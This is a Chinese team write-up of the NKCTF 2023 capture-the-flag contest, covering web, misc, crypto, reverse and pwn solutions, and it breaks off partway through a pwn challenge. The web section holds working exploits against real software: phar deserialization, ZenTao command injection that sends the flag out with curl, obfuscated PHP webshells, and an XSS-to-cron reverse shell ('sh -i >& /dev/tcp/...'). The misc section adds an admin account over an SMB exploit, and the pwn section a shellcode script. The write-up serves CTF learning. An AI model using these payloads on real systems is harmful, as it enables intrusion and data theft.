NKCTF 2023 Writeup By AheadSec

感谢战队的每位同学,辛苦啦~

Web: Naclmonkey111
Misc: Naclmochu7
Socal Engineering: Naclmonkey111mochu7
Crypto: range
Pwn: gwooHelen
Reverse: Helen

image.png


Web

webpagetest

webpagetest反序列化
首先下载 https://github.com/ambionics/phpggc.git
然后需要去更改php.ini

[Phar]
phar.readonly => Off

然后生成

./phpggc Monolog/RCE2 system 'cat /f*' -p phar -o testinfo.ini
URLENC_PAYLOAD=$(cat /tmp/testinfo.ini | xxd -p | tr -d "\n" | sed "s#..#%&#g")
curl -sSkig 'http://d44a0e24-e51d-4dae-976f-7583b5bcb409.node2.yuzhian.com.cn/runtest.php' -d 'rkey=gadget' -d "ini=$URLENC_PAYLOAD" -o -
curl -sSkig 'http://d44a0e24-e51d-4dae-976f-7583b5bcb409.node2.yuzhian.com.cn/runtest.php' -d 'rkey=phar:///var/www/html/results/gadget./testinfo.ini/foo' -d "ini=$URLENC_PAYLOAD" -o -

上面的命令一定要按顺序执行,并且不能报错
image.png

easy_pms

获取cookie

POST /repo-create.html HTTP/1.1
Host: b11ff344-b071-4efb-9e1b-ddc949f7a9fb.node.yuzhian.com.cn:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://b11ff344-b071-4efb-9e1b-ddc949f7a9fb.node.yuzhian.com.cn:8000//repo-edit-1-0.html
Content-Length: 111

product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=

执行命令。回显长度不够,利用curl外带进行回显

POST /repo-edit-10000-10000.html HTTP/1.1
Host: b11ff344-b071-4efb-9e1b-ddc949f7a9fb.node.yuzhian.com.cn:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://b11ff344-b071-4efb-9e1b-ddc949f7a9fb.node.yuzhian.com.cn:8000//repo-edit-1-0.html
Content-Length: 85

SCM=Subversion&client=`curl 1x.x.x.x:8080/\`cat /flag | sed -n '2p' | base64\``

image.png

hard_php

<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['NKCTF'])) {
    $NK = $_POST['NKCTF'];
    if (is_string($NK)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$NK) && strlen($NK) < 105){
            eval($NK);
        }else{
            echo("hacker!!!");
        }
    }else{
        phpinfo();
    }
}
?>
POST / HTTP/1.1
Host: f63fde02-792b-4e74-9a81-20948b840fb4.node1.yuzhian.com.cn
Content-Length: 247
Pragma: no-cache
Cache-Control: no-cache
Origin: http://f63fde02-792b-4e74-9a81-20948b840fb4.node1.yuzhian.com.cn
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://f63fde02-792b-4e74-9a81-20948b840fb4.node1.yuzhian.com.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Cookie: _ga=GA1.1.1443780141.1679210957; _ga_KCSGQQ51ER=GS1.1.1679673305.5.1.1679674790.0.0.0
Connection: close

NKCTF=%24_%3D(_%2F_._)%5B___%5D%3B%24__%3D%2B%2B%24_%3B%24_____%3D%2B%2B%24_.%24__%3B%2B%2B%24_%2F%2B%2B%24_%3B%24_%3D_.%24_____.%3D%2B%2B%24_.%2B%2B%24_%3B%24%24_%5B___%5D(%24%24_%5B_%5D)%3B&___=shell_exec&_=echo '<?php eval($_POST[1])?>' >1.php
POST /1.php HTTP/1.1
Host: f63fde02-792b-4e74-9a81-20948b840fb4.node1.yuzhian.com.cn
Content-Length: 34
Pragma: no-cache
Cache-Control: no-cache
Origin: http://f63fde02-792b-4e74-9a81-20948b840fb4.node1.yuzhian.com.cn
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://f63fde02-792b-4e74-9a81-20948b840fb4.node1.yuzhian.com.cn/1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Cookie: _ga=GA1.1.1443780141.1679210957; _ga_KCSGQQ51ER=GS1.1.1679673305.5.1.1679674790.0.0.0
Connection: close

1=echo file_get_contents('/flag');

eazy_php

源码

<?php 
    highlight_file(__FILE__);
    error_reporting(0);
    if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])){
        if((string)$_POST['c'] != (string)$_POST['d'] && sha1($_POST['c']) === sha1($_POST['d'])){
            if($_GET['e'] != 114514 && intval($_GET['e']) == 114514){
                if(isset($_GET['NS_CTF.go'])){
                    if(isset($_POST['cmd'])){
                        if(!preg_match('/[0-9a-zA-Z]/i', $_POST['cmd'])){
                            eval($_POST['cmd']);
                        }else{
                            die('error!!!!!!');
                        }
                    }else{
                        die('error!!!!!');
                    }
                }else{
                    die('error!!!!');
                }
            }else{
                die('error!!!');
            }
        }else{
            die('error!!');
        }
    }else{
        die('error!');
    }
?> error!
POST /?a=s155964671a&b=s214587387a&e=114514.1&NS[CTF.go=1 HTTP/1.1
Host: 6df06525-d4f8-4ab4-8245-0788d319647e.node.yuzhian.com.cn
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Cookie: _ga=GA1.1.1443780141.1679210957; _ga_KCSGQQ51ER=GS1.1.1679673305.5.1.1679677062.0.0.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1383

c=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&cmd=("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%00%06%00"^"%60%60%60%20%2f%60%2a");

image.png

baby_php

<?php
    error_reporting(0);
    class Welcome{
        public $name;
        public $arg = 'oww!man!!';
        public function __construct(){
            $this->name = 'ItS SO CREAZY';
        }
        public function __destruct(){
            if($this->name == 'welcome_to_NKCTF'){
                echo $this->arg;
            }
        }
    }

    function waf($string){
        if(preg_match('/f|l|a|g|\*|\?/i', $string)){
            die("you are bad");
        }
    }
    class Happy{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            waf($cmd);
            eval($shell($cmd));
        }
    }
    class Hell0{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }

    if(isset($_GET['p'])){
        unserialize($_GET['p']);
    }else{
        highlight_file(__FILE__);
    }
?>

反序列化,exp如下

<?php
error_reporting(0);

class Welcome
{
    public $name;
    public $arg;

    public function __construct()
    {
        $this->name = new Hell0();
    }
}

function waf($string)
{
    if (preg_match('/f|l|a|g|\*|\?/i', $string)) {
        die("you are bad");
    }
}

class Happy
{
    public $shell;
    public $cmd;

    public function __construct()
    {
        $this->shell = 'system';
        // flag*?
        $this->cmd = 'cd /;more `php -r "echo chr(102).chr(49).chr(97).chr(103);"`';
    }

    public function __invoke()
    {
        $shell = $this->shell;
        $cmd = $this->cmd;
        waf($cmd);
        eval($shell($cmd));
    }
}

class Hell0
{
    public $func;

    public function __construct()
    {
        $this->func = new Happy();
    }
}

$a = new Welcome();
echo urlencode(serialize($a));

然后就可以得到flag了
image.png

easy_cms

进后台路径拼接dede,用户名密码都是admin
找到文件管理http://e55e4bd3-1ba8-406b-aca5-0f024a27b05c.node2.yuzhian.com.cn/dede/file_manage_main.php?activepath=
在这里直接上传一个异或webshell <?=@("Y;HJ(Z"^"8H;/Z.")(${"~?}$"^"!x8p"}[1]); //get pass=1

POST /dede/file_manage_control.php HTTP/1.1
Host: e55e4bd3-1ba8-406b-aca5-0f024a27b05c.node2.yuzhian.com.cn
Content-Length: 760
Cache-Control: max-age=0
Origin: http://e55e4bd3-1ba8-406b-aca5-0f024a27b05c.node2.yuzhian.com.cn
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCuj4eb3iBDZfqySH
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://e55e4bd3-1ba8-406b-aca5-0f024a27b05c.node2.yuzhian.com.cn/dede/file_manage_view.php?fmdo=upload&activepath=
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Cookie: menuitems=1_1%2C2_1%2C3_1; _ga=GA1.1.1443780141.1679210957; PHPSESSID=9mh2undt7eig4ie7s8oum3m6hv; _csrf_name_03e7b682=2d7cd26735183fb6c6cb4b33789e6dc7; _csrf_name_03e7b6821BH21ANI1AGD297L1FF21LN02BGE1DNG=5beca81293f559eb; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=d4bb5084f02741a9; DedeLoginTime=1679723785; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=807179eceb2322d6; ENV_GOBACK_URL=%2Fdede%2Fplus_main.php; arp_scroll_position=0; _ga_KCSGQQ51ER=GS1.1.1679721468.8.1.1679724375.0.0.0
Connection: close

------WebKitFormBoundaryCuj4eb3iBDZfqySH
Content-Disposition: form-data; name="activepath"


------WebKitFormBoundaryCuj4eb3iBDZfqySH
Content-Disposition: form-data; name="fmdo"

upload
------WebKitFormBoundaryCuj4eb3iBDZfqySH
Content-Disposition: form-data; name="upfile1"; filename="shell.php"
Content-Type: image/jpeg

<?=@("Y;HJ(Z"^"8H;/Z.")(${"~?}$"^"!x8p"}[1]);
------WebKitFormBoundaryCuj4eb3iBDZfqySH
Content-Disposition: form-data; name="B1"

 ä¸Šä¼ æ–‡ä»¶ 
------WebKitFormBoundaryCuj4eb3iBDZfqySH--

image.png

xiaopi

小皮面板这个是前段时间那个xss rce了
麻烦的点在于进管理面板和等待他的脚本触发xss
首先要有一台vps或者类似花生壳的内网穿透工具
我们先准备好脚本poc.js
网上的脚本都是直接写webshell,我这里直接用反弹shell

function poc(){
  $.get('/service/app/tasks.php?type=task_list',{},function(data){
    var id=data.data[0].ID;
    $.post('/service/app/tasks.php?type=exec_task',{
      tid:id
    },function(res2){
        $.post('/service/app/log.php?type=clearlog',{

        },function(res3){},"json");


    },"json");
  },"json");
}
function save(){
  var data=new Object();
  data.task_id="";
  data.title="testaa";
  data.exec_cycle="1";
  data.week="1";
  data.day="3";
  data.hour="13";
  data.minute = "38";
  data.shell='sh -i >& /dev/tcp/xxx.xx.xx.xx/9999 0>&1';
  $.post('/service/app/tasks.php?type=save_shell',data,function(res){
    poc();
  },'json');
}
save();

主要要修改这两个地方,反弹的时间
这个脚本是定时触发
比如我现在是13:34,我就给他加四分钟,13:38,这样你才有时间操作其他的步骤

  data.hour="13";
  data.minute = "38";

写入成功之后 计划任务是这个样子
image.png
poc.js修改之后
在你的vps上运行python服务器

python3 -m http.server 8000

然后就是准备进后台登录页面写xss了

X-Requested-With: XMLHttpRequest

image.png
在execute之后就会进入后台登录页面,我们就在这里写xss,我当时就猜测到他后台进程会有个bot自动触发代码(后面附上bot代码)
image.png
xss

<script src=http://X.X.X.X:8000/poc.js></script>

这里建议在容器刚开始运行的时候写xss,成功率更高
image.png
然后就是等待xss触发(长时间没成功建议重启容器多来几遍)
image.png
image.png
bot代码

from selenium import webdriver
from selenium.webdriver.common.by import By
import requests
from urllib.parse import urljoin
import ddddocr
from time import sleep
import os
import re

info = os.popen("phpstudy -instinfo").read()

url = re.search("http://127.0.0.1:9080/[0-9a-zA-Z]{6}", info).group(0)
password = re.search("[0-9a-zA-Z]{10}", info).group(0)


options = webdriver.FirefoxOptions()
options.add_argument('--headless')
browser = webdriver.Firefox(executable_path="/robot/geckodriver", options=options)
browser.get(url)
sleep(3)
browser.find_element(By.ID, "username").send_keys("admin")
browser.find_element(By.ID, "password").send_keys(password)


captcha = browser.find_element(By.ID, "captcha")
data = captcha.screenshot_as_png
ocr = ddddocr.DdddOcr()

browser.find_element(By.ID, "verifycode").send_keys(ocr.classification(data))

button = browser.find_element(By.XPATH, '//*[@id="LAY_app"]/div/div/div/div[5]/div/button')
button.click()
while True:
    sleep(60)
    browser.refresh()

xp登录的用户名不管成功还是会直接显示在首页,而且没有做任何过滤,然后就导致了后面的写入计划任务rce
image.png
image.png

Misc

hard-misc

>>> base64.b32decode('JYYHOYLZIJQWG27FQWWOJPEX4WH3PZM3T3S2JDPPXSNAUTSLINKEMMRQGIZ6NCER42O2LZF2Q3X3ZAI=').decode('utf-8')
'N0wayBack公众号回复:\nNKCTF2023我来了!'

blue

虚拟机直接导入
先扫出IP地址,这里是236
image.png
image.png
一开始以为是ms17 010试了下发现打不通,使用nmap尝试扫描其他smb漏洞

nmap -P --script=smb-vuln*  192.168.50.236

863fe9a632adfecef66abbc8796b6e9.png
利用这个ms09的CVE
353066b7027a5bd23c55be159334fac.png

shell
net user mochu7 mochu777 /add
net localgroup administrators mochu7 /add

image.png

三体

https://www.bilibili.com/video/BV1Ai4y1V7rg/

from PIL import Image

def decode(im):
    width, height = im.size
    lst = [ ]
    for y in range(height):
        for x in range(width):
            red, green, blue = im.getpixel((x, y))
            if (blue | green | red) == 0:
                break
            
            index = (green << 8) + blue
            lst.append( chr(index) )

    return ''.join(lst)


def main(filename: str):
    all_text = decode(Image.open(filename))
    with open("{}_decode.txt".format('.'.join(filename.split('.')[:-1])), "w", encoding = "utf-8") as f:
        f.write(all_text)

if __name__ == '__main__':
    main('三体.bmp')

image.png

THMaster

http://sobereva.com/usr/uploads/file/20150605/20150605012359_52218.rar
下载修改器把积分改到2亿
image.png
image.png
然后打开**THmaster.exe 在一个弹窗之后就可以用CE去查看内存中的值直接搜索NKCTF{ **即可得到flag

image.png

easy_rgb

montage *png -tile 15x12 -geometry 125x125+0+0 flag.png

gaps --image=flag.png --generations=50 --population=50 --size=125

image.png
那这个密码解压缩包得到r.txt g.txt b.txt
很明显是按照r g b的顺序每次读一位字符得到压缩包字节流,脚本简单处理即可

r = "5b04000d663f400000006c6e747a434fbc7d0225c4060b2905cf0a280807372873460041100000ba56b200000000000000006c6e7400000110ea63055a596785d14500010000600745213"
g = "0040000ba56b2000000066778f4ac280276f9fb28fb3c282b4fdf7d8a0944bc722bd65b0410083a5492004008200000000006677800000008cc73d1c7630a5f595b000001500800015d38"
b = "4310083a54920040080061247309bcac200235fff7778acdfc0401090b3a37c1fcf3000204000d663f40000004000020000061247a20000004dd5985a5d14663000600000a0000004332"
data = ""
for i in range(len(r)):
	try:
		data += r[i] + g[i] + b[i]
	except:
		break
data += r[-1] + g[-1]
with open('flag.zip', 'wb') as f:
	f.write(bytes.fromhex(data))

根据压缩包注释提示AES-128,密钥用之前的NKCTF2023
image.png

easy_word

小明这个笨蛋,给文档设置了一个密码,但是他自己却忘记了密码,他知道以下信息:

1.
密码是数学和小写英语的随机生成的

2.
hash函数:
输出大小 256 bits 内部大小 256 区块大小	512 长度大小 64 字符尺寸 32

3.
密码:h??vO??0 (?号部分为小明已经忘记的位置)
哈希:b75d1224 ... (后面不记得了...)

这里提示有个小问题,后面赛事群里纠正了是大小写英语,查一下符合条件的散列算法又是常用的只有:sha256,脚本简单跑一下

import hashlib

chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
for c1 in chars:
    for c2 in chars:
        for c3 in chars:
            for c4 in chars:
                password = "h{}{}vO{}{}0".format(c1, c2, c3, c4)
                hashcode = hashlib.sha256(password.encode()).hexdigest()
                if hashcode[:8] == "b75d1224":
                    print("{}   {}".format(password, hashcode))
PS C:\Users\Administrator\Downloads> python .\code.py
h4evOF90   b75d1224d1321f5acfe0fb499ff02ab0f15d199e227c77c84c1162340bc6c771

得到密码之后进去文档,隐藏文字、隐藏图片都看看,发现一张隐藏图片
image.png
图片中给了一个key,是png,猜测是LSB,直接解密

PS D:\Tools\Misc\LSB\cloacked-pixel> python2 .\lsb.py extract .\flag.png flag.txt Welcome_to_NKCTF
[+] Image size: 2500x1438 pixels.
[+] Written extracted data to flag.txt.

first spam of rabbit year

搜索引擎搜索一下垃圾邮件内容发现是:https://www.spammimic.com/
image.png
底部的社会主义核心价值观编码解码为:rabbit 又 move
佛又曰:
image.png
有不可显示字符
image.png
这里末尾有个提示,猜测是指rot47rot13
然后尝试0宽,但是这其中有些0宽貌似不在以前解0宽的范围内,再找找别的0宽解密:https://offdev.net/demos/zwsp-steg-js
image.png
看着像密钥,一开始以为之后后面拿着用的,结果解不出来才发现这密钥需要rot13
image.png
然后将剩下的可显示字符提取出来做rot47

&auD5v'<)`h{dF6C_*'Jrcqzrh&ZaF>`g^Hr'}vuHZJB%~}_H5?gu;q)"<rA?{sH2{IfafKfu=6w

image.png

U2FsdGVkX19L5uer0YVyC4BKC9U+2um18/wCVNGFw+yqTON0wdn8FjBXQkCpnLDwaLx727z7FleH

最后得到这串很想Rabbit加密的格式,这里提示也有rabbit:https://www.codeeeee.com/encrypt/rabbit.html
密钥是:RabBbB1T
image.png

easy_bmp

完善bmp的结构

分辨率(width x height) x (颜色深度/8)+ bmp文件头(共14Bytes) + 位图信息头(共40Bytes) + 文件尾(共2bytes: 00 00) = 图像文件大小

SizeImage = (BitCount / 8) x (Width x Height)
width.bmp: (width x 283) x (32 / 8) =  1589328 -> width = 1404
height.bmp: (1404 x height) x (32 / 8) =  1550016 -> height = 276

image.png
image.png
image.png
image.png
flag.bmp多了一部分调色板数据
image.png

(width x height) x (8 / 8) + 调色板数据(1024 Bytes) + 54Bytes =  130678
(width x height) = 129600
分解一下:
width = 360
height = 360

image.png
得到一张二维码
image.png

baby_music

每一帧的数值最后一位在01变动,盲测二进制数据
image.png
脚本简单提取并且转换成字节流写入文件,发现是zip压缩包

import wave

obj = wave.open('flag.wav', 'r')
frames = obj.getnframes()
# print("All Frames: {}".format(frames))
frames_data = obj.readframes(frames).hex()
bin_data = ""
for i in range(0, len(frames_data), 4):
	data = frames_data[i:i+4]
	real_data = int(data[2:] + data[:2], 16)
	bin_data += str(real_data)[-1]
	# print(real_data, str(real_data)[-1])
with open('flag.zip', 'wb') as f:
	for i in range(0, len(bin_data), 8):
		hex_data = '{:02x}'.format(int(bin_data[i:i+8], 2))
		f.write(bytes.fromhex(hex_data))

注释又有一堆01数据,尝试二进制转化发现没什么线索,观察每行的长度,最低1最高6,猜测是摩斯密码
image.png
01替换为.-
image.png

welcome to nkctf the password is 16 bytes randomly generated is there a better way to unlock the zip?

根据这里描述以及压缩包中的压缩方法、加密算法,猜测明文攻击

echo -n "89504E470D0A1A0A0000000D49484452" | xxd -r -ps > png_header

image.png
image.png

easymusic

2020天翼杯原题:
https://cloud.tencent.com/developer/article/1676153
OpenPuff下载:https://embeddedsw.net/OpenPuff_Steganography_Home.html
image.png

Crypto

ez_polynomial

基于多项式分解的RSA

p = 40031
R.<y> = PolynomialRing(GF(p))
N = 24096*y^93 + 38785*y^92 + 17489*y^91 + 9067*y^90 + 1034*y^89 + 6534*y^88 + 35818*y^87 + 22046*y^86 + 12887*y^85 + 445*y^84 + 26322*y^83 + 37045*y^82 + 4486*y^81 + 3503*y^80 + 1184*y^79 + 38471*y^78 + 8012*y^77 + 36561*y^76 + 19429*y^75 + 35227*y^74 + 10813*y^73 + 26341*y^72 + 29474*y^71 + 2059*y^70 + 16068*y^69 + 31597*y^68 + 14685*y^67 + 9266*y^66 + 31019*y^65 + 6171*y^64 + 385*y^63 + 28986*y^62 + 9912*y^61 + 10632*y^60 + 33741*y^59 + 12634*y^58 + 21179*y^57 + 35548*y^56 + 17894*y^55 + 7152*y^54 + 9440*y^53 + 4004*y^52 + 2600*y^51 + 12281*y^50 + 22*y^49 + 17314*y^48 + 32694*y^47 + 7693*y^46 + 6567*y^45 + 19897*y^44 + 27329*y^43 + 8799*y^42 + 36348*y^41 + 33963*y^40 + 23730*y^39 + 27685*y^38 + 29037*y^37 + 14622*y^36 + 29608*y^35 + 39588*y^34 + 23294*y^33 + 757*y^32 + 20140*y^31 + 19511*y^30 + 1469*y^29 + 3898*y^28 + 6630*y^27 + 19610*y^26 + 11631*y^25 + 7188*y^24 + 11683*y^23 + 35611*y^22 + 37286*y^21 + 32139*y^20 + 20296*y^19 + 36426*y^18 + 25340*y^17 + 36204*y^16 + 37787*y^15 + 31256*y^14 + 505*y^13 + 27508*y^12 + 20885*y^11 + 32037*y^10 + 31236*y^9 + 7929*y^8 + 27195*y^7 + 28980*y^6 + 11863*y^5 + 16025*y^4 + 16389*y^3 + 570*y^2 + 36547*y + 10451

C = 3552*y^92 + 6082*y^91 + 25295*y^90 + 35988*y^89 + 26052*y^88 + 16987*y^87 + 12854*y^86 + 25117*y^85 + 25800*y^84 + 30297*y^83 + 5589*y^82 + 23233*y^81 + 14449*y^80 + 4712*y^79 + 35719*y^78 + 1696*y^77 + 35653*y^76 + 13995*y^75 + 13715*y^74 + 4578*y^73 + 37366*y^72 + 25260*y^71 + 28865*y^70 + 36120*y^69 + 7047*y^68 + 10497*y^67 + 19160*y^66 + 17939*y^65 + 14850*y^64 + 6705*y^63 + 17805*y^62 + 30083*y^61 + 2400*y^60 + 10685*y^59 + 15272*y^58 + 2225*y^57 + 13194*y^56 + 14251*y^55 + 31016*y^54 + 10189*y^53 + 35040*y^52 + 7042*y^51 + 29206*y^50 + 39363*y^49 + 32608*y^48 + 38614*y^47 + 5528*y^46 + 20119*y^45 + 13439*y^44 + 25468*y^43 + 30056*y^42 + 19720*y^41 + 21808*y^40 + 3712*y^39 + 25243*y^38 + 10606*y^37 + 16247*y^36 + 36106*y^35 + 17287*y^34 + 36276*y^33 + 1407*y^32 + 28839*y^31 + 8459*y^30 + 38863*y^29 + 435*y^28 + 913*y^27 + 36619*y^26 + 15572*y^25 + 9363*y^24 + 36837*y^23 + 17925*y^22 + 38567*y^21 + 38709*y^20 + 13582*y^19 + 35038*y^18 + 31121*y^17 + 8933*y^16 + 1666*y^15 + 21940*y^14 + 25585*y^13 + 840*y^12 + 21938*y^11 + 20143*y^10 + 28507*y^9 + 5947*y^8 + 20289*y^7 + 32196*y^6 + 924*y^5 + 370*y^4 + 14849*y^3 + 10780*y^2 + 14035*y + 15327
S.<y> = R.quotient(N)
 
P, Q = N.factor()
P, Q = P[0], Q[0]
phi = (p ** P.degree() - 1) * (p ** Q.degree() - 1)
e = 0x10001
d = inverse_mod(e, phi)
print(d)
m = pow(C,d,N)
m = "".join([chr(c) for c in m.list()])
print(m)

image.png
NKCTF{We_HaV3_n0th1ng_But_dr3amS}

Reverse

ez_baby_apk

用jadx打开
image.png
就是对比密文BxLHc1KruiH31I94W171oal+9olDzgBIjnK/J1Db0IUyi+MbI38+nw62ejCPShRB与输入的值DES加密就可以了 但是这里要注意的点是
注意:
key1 这个变量的值是reversecarefully将’e’替换为’3’
vector2 这个变量是’reversehavemagic’ 的md5小写
然后查看DES源码 发现出题人将key 和 iv 互换了传参位置

image.png
http://tool.chacuo.net/cryptaes/ 解密就好了
image.png
NKCTF{nI_k@i_sHi_zhu_j1an_il_Jie_RE_le}

Pwn

ez_shellcode

check检查架构

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

IDA64打开,查看伪代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
 size_t v3; // rax
 char buf[108]; // [rsp+0h] [rbp-70h] BYREF
 int v6; // [rsp+6Ch] [rbp-4h]
 setvbuf(_bss_start, 0LL, 2, 0LL);
 setvbuf(stdin, 0LL, 1, 0LL);
 mprotect(&GLOBAL_OFFSET_TABLE_, 0x1000uLL, 7);
 puts("welcome to NKCTF!");
 puts("u can make it in 5 min!");
 read(0, buf, 0x100uLL);
 v3 = strlen(buf);
 strncpy(buf2, buf, v3);
 puts("good luck!");
 v6 = rand() % 100 + 1;
 (&buf2[v6])();
 return 0;
}

分析发现buf2变量可以赋值,并且会在结尾调用(&buf2[v6])();,那么可以直接通过pwntolls生成写入shellcode
关键点在于 调⽤的buf2[v6],也就是说,要把shellcode写⼊到buf2[v6],也就是buf2+v6的
偏移
发现v6=rand()%100+1 那么得获取rand函数⽣成的随机值
关于rand函数 它本质上是⼀个伪随机,是固定的⼀个随机数 每次相同程序运⾏rand函数,
会获取相同的随机值
具体可以通过ctypes库的 cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')来解决

from pwn import *
from ctypes import * 
context(arch='amd64',os='linux', log_level='debug',terminal=
['tmux','splitw','-h'])
#连接远程
io = remote('node2.yuzhian.com.cn',36077)
# 调⽤DLL中输出的C接⼝函数
#这个是对应该附件的Linux C标准库 只能在Linux上运⾏!!!!!!!!
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
#先填满偏移 v6=rand()%100+1
payload = b'a'*(libc.rand()%100+1)
#再写⼊shellcode到地址 buf2[v6]处
payload += asm(shellcraft.sh())
io.sendafter( 'min!',payload ) #发送payload
#程序会调⽤执⾏ buf2[v6]处, 也就是写⼊的shellcode所在地址
io.interactive()

a_story_of_a_pwner

checksec 检查架构及保护

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

用ida 64位打开 F5查看伪代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  int v5; // [rsp+8h] [rbp-8h] BYREF
  int v6; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  puts("today, I want to tell you some stories about myself.");
  puts("I have a lot of stories, which one do you want to hear?");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          menu();
          if ( opt != 1 )
            break;
          acm(&v6);
          v6 = 1;
        }
        if ( opt != 2 )
          break;
        ctf(&v5);
        v5 = 1;
      }
      if ( opt != 3 )
        break;
      love(&v4);
      v4 = 1;
    }
    if ( opt != 4 )
      break;
